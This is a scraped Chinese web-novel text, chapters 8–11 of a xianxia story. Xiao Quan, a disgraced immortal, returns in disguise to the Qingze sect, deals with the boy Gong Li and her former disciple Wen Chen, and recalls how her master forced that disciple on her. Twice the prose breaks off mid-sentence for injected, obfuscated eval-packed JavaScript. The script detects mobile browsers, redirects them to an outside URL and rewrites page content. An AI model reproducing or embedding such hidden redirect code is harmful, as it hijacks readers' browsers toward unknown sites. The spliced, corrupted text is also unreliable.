看她左顾右盼,宫璃指向另一条石板路,“百里大人有事先回去了,你的就寝由我来安排。” 净香庭一般供来访青泽的贵客暂住,陈设幽静,风水甚佳冬暖夏凉,可以说潇泉捡了个便宜。 可她仍有一事不明,花容酒再如何也是昆仑公主,就算他们不屑于她的嚣张跋扈,也不该和她反着来。潇泉是不是妖没有证据,但不代表没有其他嫌疑,闻尘不仅不闻不问,还放纵她在青泽进出,这根本说不通。 也许他面上波澜不惊,说不定心里早如明镜,只是不想当面点破……但事已至此,好处自送上门便没有关门之理,潇泉想等谋取完好处再找机会开溜。 夜有路灯照明,潇泉借此看清每间房的布置陈设,挑来选去,发现有间布置更加精美舒适,心里一下趣味横生,指明说要这间房。 宫璃先前的大度一下畏缩起来,把门“砰”地关上,“这间是我睡的,你再看看其他的?” 潇泉轻笑:“那我就想要这间呢?” 宫璃死扒着两扇门不让进,稳如磐石拦在门中间,“这当然不行,你睡这儿了我睡哪?” 潇泉脸上洋溢着灿烂笑容,趁其不备钻入房间,绕到桌子后面,“青泽山如此之大,一草一木皆可安眠啊。” “你这人怎么……”宫璃语无伦次,欲与少女说理,忽觉身后有人,回头一看,闻尘不知何时现于身后。 宫璃瞅准时机正好,立马控诉:“百里大人,这明明是我的房间,她偏跟我抢。我不想再搬到其他房间睡了,不习惯。您劝劝她行吗?” 多年的情分使他滋生一定会被撑腰的自信感,而闻尘也如他所想,对布衣少女道:“若姑娘对其他房间不满,可以叫其他弟子重新布置。” 这么久以来头一回见他护犊子,潇泉想看他会护到什么程度,“我曾听闻青泽客居每间都是公住,没有哪间归谁名下一说。如今我作为客人,想睡哪间房都是合情合理的吧?” 青泽规矩确实如此,宫璃一时无话可说,但仍无让步之意。见状,潇泉缓缓蹲下捂脸哀嚎了起来,嚷嚷浑身犯疼想要好好休养。 宫璃从未见过脸皮如此厚之人,委屈至极,却又不敢大胆发作,要伤没伤,要演技没演技,怎么看都较不过潇泉,只得巴巴望向闻尘。 闻尘看了他一眼,似有一丝无奈。 宫璃怔住,指了指自己,“啊?我真得让?” 闻尘保持静默。 宫璃快要哭丧捶地的可怜模样总算起了点同情的作用,潇泉见好就收,忍笑往外走,“一个房间罢了,我也不是很稀罕。既然这么不舍,我就不强人所难了。多谢百里大人好意,我收下了。” 她大步漫漫拐弯穿行于长廊中,扬声道:“不如大人帮我看一间吧,要光线好睡得香的。对了,最好离厨房近点。” 闻尘望着她被月色拉长的身影,“没有哪间离食堂近。” 潇泉并没看到后方那道不知夹杂着何种情绪的目光,依旧负手前行,简单捆扎的蓬松发髻随步轻摆,“随你,都行。” 净香庭所有房间的陈设布置都大差不差,考虑潇泉还需用药,闻尘开了宫璃对面的房间,临走前还把药给了少年,说帮忙照看一下,他还有事。 宫璃挺着大人不记小人过的肚量,把药收好,去膳房叫人做好饭,之后把吃食药物一并送到了潇泉房内。 他将食盒放在桌上,懒懒扬声道:“百里大人让我做的,你趁热吃,吃完了记得洗脸,我帮你重新上药。” 潇泉伤在脸和手背处,不用避什么嫌。等吃完饭漱好口,她坐等少年上药。 宫璃抬头看她,低头看药,半天没有动静。 捕捉到少年脸上的微红尬色,潇泉恍然笑道:“你是不是觉得不好意思?” 闻言,宫璃开始捣鼓药罐,“上个药而已,有什么不好意思的?” 他用木棍把药膏挖出来,准备给潇泉涂脸,“把眼睛闭上,不要睁开。” 潇泉不依他,故意睁大眼睛眨巴眨巴。 面对如此赤.裸的眼神,宫璃略有不耐地“啧”了声,按了按她脑门,威胁道:“这么爱捣乱,小心夜里我叫人把你丢下山再也不管了。” 潇泉:“也不知道是谁非求我上山探寻机缘的,才是争了一个房间,便急着丢我下山,真是道貌岸然的家伙。” “我道貌岸然?”宫璃不服气,“我要是真的道貌岸然,你连青泽山门都进不了。” 潇泉:“哦?然后呢?我不还是进来了?” 此人当真是能言善辩,饶是嘴碎的宫璃也觉有时无话反驳回去,心里堵着气,故意把药膏在她脸上涂得黏糊糊的。 潇泉当然有所察觉,但合着都是涂药,怎么个涂法不重要,于是没管。 这药膏清凉消炎,比之前的药效要好许多,应该痊愈得很快。 潇泉双手乖乖交叠放在桌上,翘着二郎腿,“你们家百里大人在做什么?” 宫璃没好气道:“念念念,你老问百里大人干什么?” 潇泉:“那还不是你之前老提他,我问问怎么了?” 这还用说,当然是怕他趁她养伤休息搞偷袭了。 “你这么关心人家,不会是想拜师学艺吧?”宫璃胸中得意,给她认真缠上纱布,“哎呀真是东方不亮西方也没亮,我拜师都没成,你还想成?我不是在打压你,只是好心提醒姐姐你不要把时间浪费在他身上,没用的。” 潇泉往后一靠,“我可没说想拜他为师啊,你想拜可别拉上我。” 宫璃:“油嘴滑舌,嘴里没一句正经。” 上好药后,他收拾好东西就要回去,潇泉趁这个机会又问了一嘴,“以前听说过 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宫璃:“华烨真人在白宗主面前也得礼让三分,这个厉害之处不必多说了。重点是白宗主后来收了一位小徒弟,名唤潇泉,此人的出现使整个青泽风水反向,至今难以弥补残局。传闻潇泉整日好吃懒做,被人诟病仙君之位来得不正,可又有人说她天赋异禀,若肯花些工夫,定能闯出一番天地,福青泽厚土。可惜潇泉道心不稳,堕落成魔,自成一派之后与昆仑为敌,被白宗主彻底逐出仙门。” “百里大人曾是潇泉的膝下徒,也是白宗主的徒孙。不过白宗主很少管百里大人,毕竟他是潇泉的徒弟,理应由潇泉来管,但潇泉没有尽到师父的责任,百里大人和她的关系也不像以往的师徒关系那般亲密,反而更像冤家?这个……我也不是很清楚。” 传闻十句,九句属实,潇泉愣是找不到错处指正,颠倒黑白也不是她的作风。 白宗主全名白清鸣,晚辈们不知其年岁。毋庸置疑的是,她剑道出神入化,震名于九州内外,年轻时误入闻风丧胆难治的魔域,一剑挥下,劈山翻海。 自此,一条河宽的峡谷凹窝于魔域中央,分成一明一暗的土地。 可就是这么个非凡脱俗的女君,收了一个无法无天的徒弟,好酒美食不说,喜爬树擅鸟语,剑不成道术不成法。可真比起来又高出同龄人一筹,这不是老天喂饭吃是什么? 也有昆仑山的人骂道:“那白清鸣不知是哪根筋搭错了,收一个徒弟害得自家差点灭门!我看青泽是要完了!” 骂来骂去连潇泉自己也很奇怪,白清鸣已有慧根善术的大徒弟,为何还要将她收入门下?若非如此,潇泉此生与青泽无缘,更别提登仙了。 她如此恩将仇报,想来白清鸣备受打击,悔不当初,闭关修炼去了。 潇泉沉寂多年的心浮起道不清说不明的情绪。 见她有点反常,宫璃想了一想,有点不情愿地放低姿态,“喂,你这是怎么了?” 潇泉摇头。 宫璃坐直环胸,轻咳道:“要是你累了或是哪里不舒服,一定要跟我说,要是照顾不好你,百里大人可能会苛责我。抢房间的事我不跟你计较了,虽说古往今来都是大的让小的,可在我看来小让大也未尝不可。你还有什么想问的没?” 师父闭关不便再问,潇泉只好把重心放在闻尘身上,“你之前说百里大人每隔一阵会回青泽,我想知道他回来都干些什么?” 9. 新初(三) 宫璃就知道潇泉十句有九句不离百里大人。看在她是伤患的份上,他耐心道:“老样子啊。百里大人回来不是去菩溪喂鸟拔草,就是在书房倒腾他的机关灵器,其余时间多半在静心湖垂钓。” 菩溪是白宗主闭关的地方,那儿有一只栖息古树百年的白鵺[yè],年轻时靠晨露花叶为生,老年就得精心调养续命存活,闻尘喂食应需特地准备。 宫璃:“好了,我能说的就这么多,还有什么不了解的明天问。别想着去百里大人那儿撬话,他一向沉默寡言,更不喜欢别人提起从前。” 潇泉:“我知道了,多谢。” 宫璃打哈欠道:“天色不早了,姐姐早点歇息,洗漱换衣可移步至东南角浴室,我就不打扰你了。” 房间重归宁静,但今生初回老宗门的潇泉却是如坐针毡,怎么都不困不倦,思来想去,不如去外面溜达散心,顺便看看青泽变化如何。 青泽地势高低不平,春夜要薄棉拥身才不会冷。潇泉裹紧披风来到曾经时常偷闲的园林,左顾右盼不见夜巡弟子路过,偷偷潜入园中看看有无变化。未至深处,渐觉馥郁,她细数过目,竟得见满园杏花满园香之景。 路灯昏黄,潇泉走在青石板路上偶尔驻足望雀,忽有一道悠长淡郁的曲音自深林处传来,在夜里有种说不上的缥缈孤清。此曲听不出任何指法,据音色韵律来看,像细长薄叶吹出来的曲儿。 潇泉想着是谁的品味如此风趣,轻手轻脚循声寻至,趴在树后窥望。杏花树上,一名身穿淡青色长衣的年轻男子倚着粗壮树干,一手枕头,一手执叶抵在唇边轻轻吹着。 还未看清面孔,身后传来女子轻唤:“姑娘。” 女弟子面孔熟悉,正是昨日下山给她送衣物保暖的那位。 潇泉故作镇静,明知故问:“怎么了?” 女弟子温声提醒:“这儿是百里仙君的休憩之地,闲杂人等不能入内。” 潇泉恍然,“我睡不着,出来散散步,谁成想走到了这里,找半天没找到回去的路。不知姐姐可否有空带我回净香庭?” 女弟子瞧她实诚,点头应了,带她走出这片杏花园,绕路回到净香庭。潇泉礼貌谢别,不再乱跑,倒腾两下便散发除衣上榻安寝了。 翌日清晨,房中安宁被敲门声打破,她迷迷糊糊套上衣服去开门,宫璃一身羽衣华服站在门口,气不打一处来,“别睡了,我带你去百鸟林探寻机缘!” 不等她发话,他又贴心关好门,“快点换好衣服,我在外面等你。我们还要去食堂。” 潇泉话不多说,赶紧换好衣服和宫璃来到食堂。瞧见堂内有熟人,她缓慢挪步到少年身后,祈祷着某人千万不要注意到自己。 宫璃很是自然地唤了声“百里大人”,然后朝潇泉递眼神。潇泉眨眨眼,一副乖觉模样朝前方作揖,“仙君。” 平时她给师父和熟人行晨礼时会在尊称后面多说一字“安”,后来在魔域渐渐改掉这个习惯,不然刚才那一声真有可能喊出来。 饭局最是熟人话多,潇泉知道有人的嘴巴绝对堵不住。果然堂内没静多久,宫璃开口道:“百里大人,昨天你没去菩溪?” 闻尘垂着眼皮,“过几日去。” 宫璃轻咬筷子,“百里大人你有没有空?要和我们一起去百鸟林吗?” 潇泉手中筷子一顿,心里叫起了菩萨。 闻尘三指轻握盛汤的瓷杯,“我还要去文昌阁。” 潇泉听见这话心情大好,喜滋滋地喝起汤来。 宫璃坚持道:“百里大人,我本是带姐姐来青泽借天地灵气探寻修仙机缘。可助人修行这种事,我觉得还是要有您在场才好,以防万一……” 潇泉险些一口气没提上来。除了闭关那位,没人比闻尘更熟悉她的招式身法了。万一当场被认出,她约莫可以提着东西直接滚了。 闻尘不予回应,宫璃乖乖闭嘴,不再多提。 就在潇泉以为事已告落可以收场时,熟悉的声音又在顷刻后响起,“何时?” “吃完就去!”宫璃咧嘴笑了,转头对潇泉说起悄悄话来,“待会儿到了百鸟林,你在百里大人面前多磨磨,他不会坐视不理的。” 潇泉悄悄回道:“万一还是没用呢?我算白来一趟吗?” 宫璃:“没用就没用呗,说明你此生与修仙无缘,或是时候未到,总之绝不可能白来。我俩性情挺投缘的,我会想办法求百里大人留你下来。” 潇泉:“求他留我?” “咳咳。”宫璃握拳掩了掩唇,“他是代宗主,你要留在这儿自然得问他。放心好了,走个过场而已。你留下来后可以慢慢钻研修行,要是觉得不好意思,找份儿差事做也行,包吃包住还有月钱。” 潇泉一脸认真看着他。 宫璃摸脸,“你、你看我干什么?” 潇泉:“你对我这么好干什么?” 宫璃笑道:“多一个人多一份热闹啊。百里大人时时忙碌管不着我,我无聊得很,你留在这儿刚刚好。我们可以交个朋友,你也在此借天地灵气修行提升。如此两全其美,你真不动心?” 潇泉:“我……考虑考虑。” “也行。”宫璃没有勉强。 用完膳,闻尘领着两人去百鸟林。 沿途的雅阁古楼一望不尽,潇泉在一片恢弘的建筑中看见了前生最亲切的地方。那是一座养育了她百年的宫殿,如今已被摘除金字牌匾、锁上重锁,余下的死寂空荡与昔日辉煌相比尤显寂寥。 宫璃顺着她的视线望去,“这是云霄殿。” 潇泉轻声道:“略有耳闻。” 宫璃:“这是女魔头潇泉的住所。她死之后,云霄殿彻底成了青泽禁地,没人进得去,也没人想进去。” 他上下抚摸双臂,“我不太喜欢这儿,瘆得慌。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059098|194969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有次深夜路过,我竟然听到了丝竹声!要知道整个青泽最喜音律的只有潇泉,再无别人,而且这还是在云霄殿门口,谁没事会来这儿吹曲儿?我都怀疑是不是女魔头还魂了,忒吓人……” “还魂?不可能。”潇泉轻扯嘴角,“她若是还魂早还了,用不着等到现在。” 宫璃:“也是,不然百里大人早招魂成功了。” 潇泉猛地停步傻在原地,“……你说什么?” 招魂是仙门四大禁术之一,目的是防止有心之人招来孤魂野鬼行兴风作浪之事,管教极其严格。在仙门是禁术,但在邪魔一方却格外受迎,无数魔修想借此法习成至尊。闻尘隶属仙门中人,不论谈学招魂,皆为大忌,加之身份特殊,惩戒会比一般仙修更重…… 自知说漏嘴的宫璃心叫不妙,连忙捂住嘴巴,可惜为时已晚。 前方的闻尘已经停下脚步,没有回头,“去菩溪,面壁两个时辰。” 人人避招魂不谈不仅是因为它被列为禁忌,昆仑还规定论术者需罚跪思过,谨遵教诲。 潇泉没有吐出二字禁忌,躲过此劫。宫璃欲哭无泪,朝闻尘恭敬拜歉,灰溜溜走了。他一走,两个没什么共同话题的人愈加沉默,一前一后只顾往前。 百鸟林坐立于青泽后山,来去之路约莫两炷香时间。两人踏入林中,清新草香伴随新鲜空气呼入口鼻,沁人心脾,使人心旷神怡,确实有助于打坐修行。 不知闻尘要带她去往何处,潇泉没打算问。问了和没问一样,不如不问。她伪装成初来乍到的新客,对这里充满了好奇与惊叹。 深入林中,视野豁然开朗,汩汩泉水激流在山石间冲荡,响得一片哗哗啦啦声,雪白浪花也几乎团成了云。闻尘绕过此地,再西行数十步,停在了平静的湖泊边,“到了。” 湖心有一亭,亭侧古树茂盛葱郁,树下桌椅不知何处。潇泉忍不住问:“仙君,你确定就在这儿?” 闻尘微微颔首,轻轻拂袖,湖面水波粼粼排开,中间浮出一条石台长桥,“跟着我。” 走到湖心亭,闻尘递出一根柳条给潇泉,“垂钓。我在水帘后等你。” 一根柳条还不用饵料?确定不是在刁难人? 潇泉刚腹诽完,闻尘将柳条抛入水中,待水面泛起银白浪花,又挥手一收,一条金黄彩鱼便飞出水面,落到岸边不停拍打鳍尾。 此时无声胜有声。 这对曾经的潇泉来说不过挥手之间,但如今废柴之身难如登天,几乎不可能。等闻尘去了水帘洞,她偷偷用石头压住柳条的头,把柳尾放入水中,自己则坐在边上小小偷闲。 青天渐白,柳条引来了一只水虾,它好奇戳着柳叶,似在想能不能吞入腹中。潇泉瞅准时机丢出一颗小石子,水虾瞬间吓得跑没了影。 潇泉低声轻笑,想起很久之前自己也这么开怀过,在同一地方同是垂钓,以及同一个等待的人。 10. 相见欢(一) 两百年前,钟灵毓秀的青泽山风头正盛,热闹非凡,一半靠良好的门风教养吸引无数修士慕名前来,一半靠宗门某位师姐的喧闹。 整个青泽皆知这位师姐的德行,白日饮酒舞剑酣睡,夜里快活如脱兔,开怀大笑起来,窗外的枝桠都要颤一颤。 可偏偏就是这样一位奇女子,在多年前成为九州声名远扬的青莲剑道传人,位列昆仑仙君之一。她不似其他仙君那样令人望而生畏,反之极有亲和力,上有长老偏心袒护,下与晚辈同行交好,人脉关系甚广,但也褒贬不一。 白宗主说她开窍偏晚,不求有多体贴懂事,只求别到处惹祸。女子总是左耳进右耳出,令人欣慰的是,该正经时就正经,没让宗主太过失望。 宗主要求素来严格,潇泉捱了这么多年早已习惯,在挨打的边缘不忘潜心修行,逐渐有了仙君该有的模样,不过有时还会原形毕露。这不,白宗主刚一放宽规训,放了三日假休,潇泉头天就没了影。 此时正逢昆仑开山之日,江湖无数修士纷至沓来,皆想在百试大会上尽展本领,争取进入昆仑的资格。 为保大会顺利进行,昆仑门生一半维持秩序,一半为山外修士指路,更多子弟则是旁观大会比试,为未来的师弟师妹加油打气。 本是庆祝的好日子,过程却出了点小意外。 “白宗主可能有事耽搁了,我们再等等。”一名青茬乌发的蓝衣男子站在观台前方,甚有一派两袖清风之姿。 另一位白胡子老者道:“华烨,你与白清鸣关系最是要好,她因何迟到没跟你说?” 华烨真人温温一笑:“裘长老,你误会了,贫道与白宗主不过是泛泛之交,没你想得那么要好。至于她为何迟到,贫道真不知晓。白宗主一向严于律己,不会出现这种小错,贫道以为,应是有急事暂时拖住了她,故而多等一等也不要紧。” 裘长老叹气道:“她家徒弟都不来,她来做甚?难不成又想收一个关门弟子?” 华烨真人不语,耐心等候人来。 日晷缓慢过时,倏然众人神色各异,未闻步声,便闻沁人梅香。 “白宗主来了。”有人悄声。 一名女子踏风而来,两鬓白发垂在肩头,雪衣红带缕缕飘飘,腰间坠着红穗玉佩,步子稳实,质如冷玉。远远一看,与画中仙人别无二致。 众人恭声作揖,白清鸣冷面轻应,携风入座,目色疏离。 这下该来的都来了,大会正式开始。古钟刚一响,大家便伸长脖子观望,生怕资质上佳的未来徒儿跑到了别人那儿去。 华烨真人凑了会儿热闹,瞧见一旁坐如钟行如风的白清鸣,笑问:“白宗主这是还想收一个徒弟?” 白清鸣淡淡瞥他一眼。 华烨真人:“是贫道眼拙。” 大会一如既往没什么水花看头,正常进行到黄昏。成人比试过后便是童试,期间喊名不应者,判官默默划掉了名字。直到快要结束,判官听见有人在喊“等等”。 所有人循声望去,只见一名粗布麻衣身负铁剑的少年喘着粗气快步走过,嘴里喃喃着二字。 武执笔正要以迟到为由赶少年下山,华烨真人拦道:“来都来了,不如让他展示一番。” 武执笔打量少年几眼,终没有划名。 比试开始,少年登台先朝对手作揖,开局便是手起刀落,出手快准狠,不让自己有任何落于下风的机会,如此下来一连三胜,占尽不少风头,令人惊奇。 之后判官再命其与另外两名胜者分别对战,一个完胜,一个完败。虽有败绩,但少年身姿敏捷,剑术有道,拳脚有法,得了不少人青睐。总经评判,位居童榜第二,荣获拜师资格。 少年选择果断,走到华烨真人面前就要一拜。华烨真人连忙扶道:“小友,贫道不收徒,你找错人了。” 少年微怔,站在原地没有动作。 华烨真人笑道:“若你不知入哪门哪派,不如拜入青泽。” 少年:“青泽山?” 华烨真人点头,拉他走到白清鸣面前。 白清鸣轻抬眼皮,一言不发。 华烨真人无奈,“清鸣,你我好歹同门一场,何不试试帮贫道解了这缘分?你知道贫道早年发誓再也不收弟子,如今碰见主动上门的才子,不好意思赶走。贫道觉得,或许你适合收他。” 白清鸣:“若非无意,就不要随意施舍善意,免得旁生不必要的缘分。” 华烨真人:“有时,品性远比能力要重要,哪怕只是一个不起眼的举动。” 他无非是想点醒白清鸣,这孩子不看家门富贵,只要谁对他有恩就会报答,哪怕是小小的托举,也甘愿拜入门下赴汤蹈火,是个可选之人。 白清鸣怎会听不出来,“你们这些臭道士就会说些臭道理。” 骂是这么骂,她却认真思量了,抬手示意少年走近,指尖轻点对方眉心。 一缕纯蓝灵气从中显现,她眼中多了一丝欣慰,“可。” 华烨真人笑对少年,“白宗主与贫道出自同一师门,其剑道在昆仑乃至整个九州说是第一也不为过,你跟她会学到很多。当然,你要是有兴致,来贫道的三清山坐坐也可以。” 少年思量顷刻,点了点头。 “好,即日起,你便是我青泽山内宗门生。”白清鸣拂袖起身,拿出一块蓝墨玉佩,取针扎破少年食指滴血于佩上,最后系在他腰间。 自此,青泽山多了一位新面孔。 听这位前辈说,少年该称她为师祖,他的师父另有其人。另外,内宗的师兄师姐带着一众子弟去蓬莱岛进修了,要过段时间才回,他可以先熟悉青泽和自己的师父。 少年:“我师父……是个怎样的人?” 白清鸣不答,只说他需亲自感受。 山下小镇车水马龙,吆喝笑语不绝于耳。 红裙少女背着鼓囊囊的布包从街道拐出,直奔驿站花钱租马,策过茫茫芦苇旷野,走过青泥石桥乡间,最终停在一片碧色环绕的大山前。 她摇身一变,细胳膊细腿儿的身体即刻变成高挑轻盈的模样,稚嫩面容也一下转为明艳动人的脸庞,飘逸无尘的火红长裙似是量身定做,十分贴合。 女子穿过小路走到云雾缭绕的山顶,悠哉悠哉喝着刚买的女儿河。几滴酒水滑过她洁白脖颈,淌过锁骨浸入衣里。似是喝得美了,她微微仰头闭眼,唇角轻扬,笑若春阳。 路过的门生子弟见之,恭敬唤道:“逍遥仙君。” 女子笑应一声,毫不客气掏出买来的小把戏抛给他们。众子弟手快接稳,纷纷敬谢。 山上矗立着碧蓝水色相接的巍峨繁华宫殿,一眼望去,目不暇接。女子收好酒壶,轻步走进最为高大的紫云殿。 殿主正在整理书卷,她站在玉柱后静观片晌,心想眼前九州第一美人果然名不虚传。 “师父。”潇泉过去喊。 白清鸣:“玩开心了?” 潇泉干笑两声,没敢说还是和以前一样,说了等于讨打。 白清鸣:“玩完了把心收一收。昆仑开山你不去,百试大会你也不去,到底想干什么?” 潇泉给她倒上一杯茶水,“与其在那儿干坐着,不如下山走一走,碰到妖怪算我运气好,能抢先立功不是?” 白清鸣推开茶杯,“你坐任仙君的时日也不短了,迟迟没有传承子弟,你说这像话吗?” “那真是太不像话了。”潇泉举杯自己喝了,“师父您看,我还没发扬好您的剑道大业,要是在这个节骨眼上收徒,我肯定抽不出时间,到时还怎么传承青莲剑道?” 白清鸣将手中卷轴砸到案上,“尽说耍嘴皮子的话,你要是没有那个心,就从仙君之位滚下来,免得外头说三道四!” 知道她动了真怒,潇泉赶紧认错,“好好好,我过段时间好好看看……” 正在气头上的白清鸣越看她越不顺眼,摆手让人滚出紫云殿。潇泉一声“好嘞”,两腿蹬得比兔子还快,当即滚回了自己的云霄殿。 刚一进门,她顺手脱下外褂,把腰间挂着的陶埙[xūn]拿出来吹,吹够了又拿出一只木偶开始探寻其中机密,想着要如何改造。 她想得聚精会神,随便找地方坐了下去。 “你……坐到我书了。” 潇泉正要挪动,忽觉哪里不对。 大殿一向没人伺候,突然有人说话,不奇怪才奇怪。她愕然回头,一名少年坐在案前怔怔看着自己。 他的双瞳宛若月下深海,净澈而不知深浅。潇泉看得出神,忽然不怎么气他擅闯宫殿的无礼之举了。她将少年从头到脚打量一遍,确定自己没见过这副面孔,问:“你是哪里来的小孩?是不是走错了?这儿可不是净香庭,是我的云霄殿。” 少年疑惑,“净香庭?” 潇泉直言道:“对,那才是客人待的地方。” “……客人?”少年无声顷刻,低头开始收拾东西。 等他离去,潇泉唤来仙侍,“以后未经我的允许,不准客人进来。小孩也不行。” 仙侍嘴角一抽,“逍遥仙君,那位是白宗主替你收的徒弟……不是客人。” 潇泉傻在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059099|194969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原地,只觉天空落下一道闪电,狠狠劈在了她头上。 什么鬼话,连在一起竟让她感到如此陌生。 潇泉再次跑向紫云殿,前脚还没进去,嘴先快一步道:“师父,我殿内小孩是怎么回事?” 白清鸣手执竹简认真看着,“百试大会捡来送你的。” “……”潇泉听出师父在故意呛自己,用脚趾头也能想到这小孩肯定精挑细选出来的。能够被师父看上,实力肯定不容小觑,不是天赋怪就是潜力怪。 可她从没想过收徒。 潇泉:“师父,你知我生性散漫不喜说教,把这孩子交到我手里会毁了他的。” 白清鸣:“我是我,昆仑是昆仑。昆仑封你为君并不只是认同你的天赋实力,还望着你延续仙门香火。不做传道授业解惑之师,你坐此位有何意义?收徒是迟早的事,不必再跟我讨价还价。我已将月环佩给他滴血拜师了,明日一早你二人便行师徒礼。” 最后一句堵住了潇泉的所有理由。 日环佩与月环佩是天造地设的一对,分别由红蓝墨玉合成,是昆仑赐下来的收徒契物,不可退换。也就是说,一旦滴血拜师,再想反悔,得上书昆仑批准。 解契过程复杂,一般是徒弟铸成大错不知悔改,师父不得已逐出师门才会如此。若是什么都没做错的徒弟被解契,不仅冤枉了人家,还让对方给别人落下话柄,不大妥事。因此,潇泉只能硬着头皮收下这个徒弟。 她恍惚走回云霄殿,发呆半日,招来原先那名仙侍问:“那小孩呢?” 仙侍垂首,“他带上东西去了新置办的住处,就离云霄殿不远。” 潇泉:“宗主安排的?” 仙侍颔首,“是。” 潇泉笑得比哭还难看,挥手遣退了仙侍,独自在殿中苦中作乐,坐在案上把玩着通体晶莹的墨青色酒杯。 不知过了多久,窗外响起三声敲响,有人小声喊:“潇师姐?” 潇泉收起不正经,放下酒杯起身朝窗户看,“昭昭?你回来了?” 一名青衣少女缓缓从窗户底下探出身子,充满笑意的双眼明亮动人,“是啊,我在家太想你,提前回来了。” 洛昭昭是仙君之女,自小在青泽内宗修行,因性格讨喜、天资聪颖,得到一众前辈青睐心喜,其中包含潇泉在内。 潇泉心情稍好,“真的假的?” “当然是真的!”洛昭昭进门抱住她,用扎着两团云髻的小脑袋蹭了两下,“师姐你明明知道我最黏你了,怎么好意思问真假的?” 潇泉摸她脑袋,笑声清朗,“我什么性子你又不是不知道,随口两句逗话,你还当真了?” 洛昭昭轻哼一声,道:“师姐,我听他们说你收了一个小徒弟,怎么不见他人?” 潇泉眉梢微动,“所以你是专程来看小师弟的?” 洛昭昭仰头,“怎么可能,我只是好奇他长什么样。我来云霄殿从来都是为了师姐一人!” 潇泉乐开了花,拍拍她背示意放手,坐回椅上问她这次回家遇见了哪些趣事。洛昭昭滔滔不绝说得眉飞色舞,殿内一时不断笑语。 简单叙旧完,洛昭昭好奇道:“师姐,你何时行师徒礼?” “当然是明日。”潇泉贴着倚靠,“白宗主的性子你还不了解?” 洛昭昭双手合抱,脸露期待,“那我是不是可以看师姐穿宗服了?长这么大我还没看您穿过几次。” 说来惭愧,潇泉身为青泽门生,几乎不穿宗服。并非是衣服难看,相反十足淡雅清素,但潇泉每回一穿总感觉有百条枷锁捆在身上,吃饭喝茶都不安逸自由,所以不到必要场合她是死活不穿的。 潇泉:“太累,不想穿。” 洛昭昭:“师姐为何不退昆仑?这样就不用受繁文缛节了。” “怎的这样问?” “我看姐姐总愁眉。” “有心事很正常。”潇泉神色缓和,“主要还是因为我生来有修行根骨,缘分托我至此,我便顺着走下去了。进昆仑是没办法的事,要不要走下去我也说不准,毕竟待了这么多年,有的东西很难放下。” 洛昭昭同为修行中人,对此亦有感触,“我明白了。” 不一会儿,紫云殿仙侍前来传话,意思是让潇泉做好准备,不要在明日师徒礼上失了礼节。潇泉顺话答应,打发仙侍回去,转头却犯起了难。 洛昭昭帮忙想道:“小师弟年纪尚幼,不如师姐先送他一把入门剑,往后看表现再斟酌其他宝贝?” 潇泉也这么认为,于是当天去私房库倒腾了起来。 11. 相见欢(二) 翌日清晨,潇泉奔去方正堂时已经人满居位,她心中苦叫连天,顶着白清鸣利刀般的目光坐在正堂上,一脸平静看着身形单薄、素锦翩跹宗服的小小少年。 青泽山宗服是出了名的秀雅脱俗,胸膛绣有青山云雾白鹤图,袍角绽放着君子兰。若是细心,还能瞧见一只衔花的小鸟偷偷掠过。 潇泉想起自己也曾穿过这身衣服,还因为图案跟白清鸣扯了几句,“为何不能加只鸟雀?这多可爱啊,和君子兰放在一起,简直是天造地设的一对。” 白清鸣:“我要是把它放你耳边整日叽叽喳喳,你觉得它还可爱吗?” 潇泉环胸道:“它再吵能吵得过我?我知道咱们青泽是君子行公、两袖清风的门风,可天底下真有无私无念的真君子吗?几乎没有。圣人再圣终归是人,尘世之气无法磨灭。君子再君也还是人,七情六欲无可避免。这世道没有谁是十全十美的。就像这件被赋予深厚寓意的宗服,穿上它的人不一定是君子。” 为了绣上一只喜欢的鸟,她竟还拿世道来说理。白清鸣拧眉,将对方的肆意张扬狠狠无情踩在脚下,“你既然知道身落凡尘,就该晓得无可避免与世俗接触,更要戴德束身,以持修行初心,何况你我还肩负天下使命。” 潇泉依旧不服,“难道我们非得禁戒七情六欲变成一个没有感情的木头吗?这不公平。” 白清鸣冷声:“你可知道,在天下大局面前擅动感情,是大忌。” 潇泉正想说她不会因为私情而不顾大局,白清鸣又无情打断她,“你站在昆仑高处就是为了保住天下太平。若有一日山崩地裂、百姓遇难,你要舍弃的远不止是感情,而是所有。” 潇泉还欲反驳,突然一道雪白莹光乍现,将她死死笼罩于一小方天地中。白清鸣冷冷看她,“说比做容易。你要是少些伶牙俐齿,去行所求之道,也不用我这番苦心教化你。道理不是给你拿来顶嘴的,也不是你出去潇洒快活的理由。” 她俯身吐声:“这七天,你偷偷下山几回了?” 潇泉心知在她面前撒不了谎,老老实实道:“两回。” 白清鸣满意又似不满地点头,拂袖而去,“罚你静心两个时辰,若违抗不从,你这两天就别想自由了。” “啊?不要,我不要再打坐静心了。师父你罚我去书阁抄经吧,去后山除草也行啊!”潇泉扒着禁锢屏障苦苦求饶,愣是没有动摇白清鸣一丁半点。眼看人已经走远,她只好放弃,盘腿而坐乖乖静心恢复自由。 那时的她不知天高地厚,心高气傲。如今收敛许多,看着始终板脸的小徒弟发愁。 闻尘向她恭敬奉茶,潇泉看也没看,一口闷完,接过仙侍递来的礼帖看,上面写—— 